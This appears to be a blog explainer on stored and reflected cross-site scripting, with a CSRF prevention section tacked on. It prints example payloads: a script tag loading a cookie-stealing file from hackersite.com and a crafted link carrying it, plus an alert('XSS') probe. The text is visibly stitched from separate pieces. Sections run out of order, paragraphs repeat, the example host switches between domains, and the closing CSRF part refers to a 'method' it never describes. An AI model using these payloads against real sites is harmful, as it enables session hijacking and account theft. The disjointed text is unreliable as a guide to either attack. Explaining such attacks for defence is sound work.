HTTPS

Photo by Florian Olivo on Unsplash

What is stored cross-site scripting

Stored XSS, also known as persistent XSS, is the more damaging of the two. It occurs when a malicious script is injected directly into a vulnerable web application.

To successfully execute a stored XSS attack, a perpetrator has to locate a vulnerability in a web application and then inject malicious script into its server (e.g., via a comment field).

One of the most frequent targets is websites that allow users to share content, including blogs, social networks, video sharing platforms and message boards. Every time the infected page is viewed, the malicious script is transmitted to the victim’s browser.

Stored XSS Attack

While browsing an e-commerce website, a perpetrator discovers a vulnerability that allows HTML tags to be embedded in the site’s comments section. The embedded tags become a permanent feature of the page, causing the browser to parse them with the rest of the source code every time the page is opened.

The attacker adds the following comment: Great price for a great item! Read my review here

“<script src=”http://hackersite.com/authstealer.js”> </script>”

From this point on, every time the page is accessed, the HTML tag in the comment will activate a JavaScript file, which is hosted on another site and has the ability to steal visitors’ session cookies.

Using the session cookie, the attacker can compromise the visitor’s account, granting him easy access to his personal information and credit card data. Meanwhile, the visitor, who may never have even scrolled down to the comments section, is not aware that the attack took place.

Unlike a reflected attack, where the script is activated after a link is clicked, a stored attack only requires that the victim visit the compromised web page. This increases the reach of the attack, endangering all visitors no matter their level of vigilance.

From the perpetrator’s standpoint, persistent XSS attacks are relatively harder to execute because of the difficulties in locating both a trafficked website and one with vulnerabilities that enables permanent script embedding.

Photo by Shahadat Rahman on Unsplash

What is Cross-Site Scripting (XSS)

Cross-site scripting (XSS) is a common attack vector that injects malicious code into a vulnerable web application. XSS differs from other web attack vectors (e.g., SQL injections), in that it does not directly target the app itself. Instead, the users of the web application are the ones at risk. A successful cross-site scripting attack can have devastating consequences for an online business’s reputation and its relationship with its clients.

Depending on the severity of the attack, user accounts may be compromised, Trojan horse programs activated, and page content modified, misleading users into willingly surrendering their private data. Finally, session cookies could be revealed, enabling a perpetrator to impersonate valid users and abuse their personal accounts.

Cross-site scripting attacks can be broken down into two types: stored and reflected.
Stored XSS, also known as persistent XSS, is the more damaging of the two. It occurs when a malicious script is injected directly into a vulnerable web application.
Reflected XSS involves the reflecting of a malicious script off of a web application, onto a user’s browser. The script is embedded into a link and is only activated once that link is clicked on.

Photo by Towfiqu barbhuiya on Unsplash

What is a reflected XSS attack

Reflected XSS attacks, also known as non-persistent attacks, occur when a malicious script is reflected off of a web application to the visitor’s browser. The script is executed through a link, which sends a request to a website with a vulnerability that enables the execution of malicious scripts. The vulnerability is typically a result of incoming requests not being sufficiently sanitized, which allows for the manipulation of a web application’s functions and the activation of malicious scripts.

To distribute the malicious link, a perpetrator typically embeds it into an email or third party website (e.g., in a comment section or on social media). The link is embedded inside an anchor text that provokes the user to click on it, which initiates the XSS request to an exploited website, reflecting the attack back to the user.

Unlike a stored attack, where the perpetrator must locate a website that allows for the permanent injection of malicious scripts, reflected attacks only require that the malicious script be embedded into a link. That being said, in order for the attack to be successful, the user needs to click on the infected link.

As such, there are a number of key differences between reflected and stored XSS attacks, including:

• Reflected attacks are more common.
• Reflected attacks do not have the same reach as stored XSS attacks.
• Reflected attacks can be avoided by vigilant users.

With a reflected XSS, the perpetrator plays a “numbers game” by sending the malicious link to as many users as possible, thereby improving his odds of successfully executing the attack.

Reflected XSS Attack

While visiting a forum site that requires users to log in to their account, a perpetrator executes this search query alert(‘XSS’); causing the following things to occur:

1. The query produces an alert box saying: “XSS”.
2. The page displays: “<script type=’text/javascript’>alert(‘XSS’);</script > not found.”
3. The page’s URL reads http://ecommerce.com?q=<script type=”text/javascript”>alert(‘XSS’); </script>.

This tells the perpetrator that the website is vulnerable. Next, he creates his own URL, which reads

http://forum.com?q=news<\script%20src=”http://hackersite.com/authstealer.js” and embeds it as a link into a seemingly harmless email, which he sends to a group of forum users.

While the sending address and subject line may appear suspect to some, it does not mean that it won’t be clicked on.

In fact, even if only one in every 1,000 recipients of the email clicks on the link, that still amounts to several dozen infected forum users. They will be taken to the forum’s website, where the malicious script will be reflected back to their browser, enabling the perpetrator to steal their session cookies and hijack their forum accounts.

Photo by Pawel Czerwinski on Unsplash

A number of effective methods exist for both the prevention and mitigation of CSRF attacks. From a user’s perspective, prevention is a matter of safeguarding login credentials and denying unauthorized actors access to applications.

Best practices include:

• Logging off-web applications when not in use
• Securing usernames and passwords
• Not allowing browsers to remember passwords
• Avoiding simultaneously browsing while logged into an application

For web applications, multiple solutions exist to block malicious traffic and prevent attacks. Among the most common mitigation methods is to generate unique random tokens for every session request or ID. These are subsequently checked and verified by the server. Session requests having either duplicate tokens or missing values are blocked. Alternatively, a request that doesn’t match its session ID token is prevented from reaching an application.

Double submission of cookies is another well-known method to block CSRF. Similar to using unique tokens, random tokens are assigned to both a cookie and a request parameter. The server then verifies that the tokens match before granting access to the application.

While effective, tokens can be exposed at a number of points, including in browser history, HTTP log files, network appliances logging the first line of an HTTP request and referrer headers, if the protected site links to an external URL. These potential weak spots make tokens less than the full-proof solution.

Using custom rules to prevent CSRF attacks

The highly individual nature of CSRF attacks hinders the development of a one-size-fits-all solution. However, custom security policies can be employed to secure against possible CSRF scenarios.

This method completely counters the social engineering aspect of CSRF attacks. It prevents the execution of malicious requests outside of a security perimeter, regardless of content.

Alternatively, you can run the rule in ‘Alert Only’ mode to track possible exploit attempts or present CAPTCHAs that alert unwary users.